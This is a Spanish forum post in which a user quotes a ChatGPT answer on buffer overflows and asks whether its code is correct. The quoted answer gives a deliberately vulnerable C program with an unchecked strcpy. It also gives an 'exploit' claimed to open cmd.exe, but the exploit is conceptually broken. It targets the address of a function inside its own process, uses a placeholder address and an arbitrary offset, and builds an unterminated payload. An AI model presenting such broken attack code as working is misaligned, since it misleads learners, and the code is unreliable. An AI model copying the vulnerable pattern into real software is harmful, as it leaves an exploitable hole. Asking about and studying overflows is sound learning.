Explicación de buffer overflow

Páginas: (1/1)

Parado_larga_duracion_ESP:

He estado hablando con ChatGPT. Para entender un Buffer Overflow. Mi pregunta es si este código es correcto, y qué son los caracteres sueltos que hardcodea en hexadecimal.

Esto decía el bicharrak.


Mis disculpas por la confusión. Aquí tienes un ejemplo de un programa vulnerable en C para Windows que sufre de un desbordamiento de búfer y su correspondiente exploit que ejecutará una shell como payload:

Programa vulnerable (vulnerable.c):

Código
--
#include <stdio.h>
--
#include <string.h>
--
 
--
void funcion_vulnerable(const char *entrada) {
--
   char buffer[10];
--
   strcpy(buffer, entrada);
--
   printf("Buffer: %s\n", buffer);
--
}
--
 
--
int main(int argc, char *argv[]) {
--
   if (argc != 2) {
--
       printf("Uso: %s <entrada>\n", argv[0]);
--
       return 1;
--
   }
--
 
--
   funcion_vulnerable(argv[1]);
--
 
--
   return 0;
--
}
--
 
--

Exploit (exploit.c):

Código
--
#include <stdio.h>
--
#include <string.h>
--
#include <windows.h>
--
 
--
// Función maliciosa que se ejecutará
--
void codigo_malicioso() {
--
   // Ejecutar CMD.exe
--
   system("cmd.exe");
--
}
--
 
--
int main() {
--
   // Crear un payload que contiene el código malicioso
--
   char payload[100];
--
   memset(payload, 'A', sizeof(payload)); // Llenar el payload con caracteres 'A'
--
 
--
   // Sobrescribir la dirección de retorno con la dirección de la función maliciosa
--
   // Suponiendo que la dirección de la función maliciosa es 0x12345678
--
   memcpy(payload + 90, "\x78\x56\x34\x12", 4); // Little-endian
--
 
--
   // Ejecutar el programa vulnerable con el payload como entrada
--
   // Suponiendo que el programa vulnerable se llama "vulnerable.exe"
--
   // y está en el mismo directorio que este exploit
--
   char comando[200];
--
   sprintf(comando, "vulnerable.exe %s", payload);
--
   system(comando);
--
 
--
   return 0;
--
}
--
 
--

Para compilar ambos programas en Windows, puedes utilizar un compilador de C como MinGW. Por ejemplo, desde la línea de comandos de Windows:

```
gcc vulnerable.c -o vulnerable.exe
gcc exploit.c -o exploit.exe
```

Luego, puedes ejecutar el exploit para aprovechar la vulnerabilidad en el programa vulnerable y ejecutar una shell:

```
exploit.exe
```

Páginas: (1/1)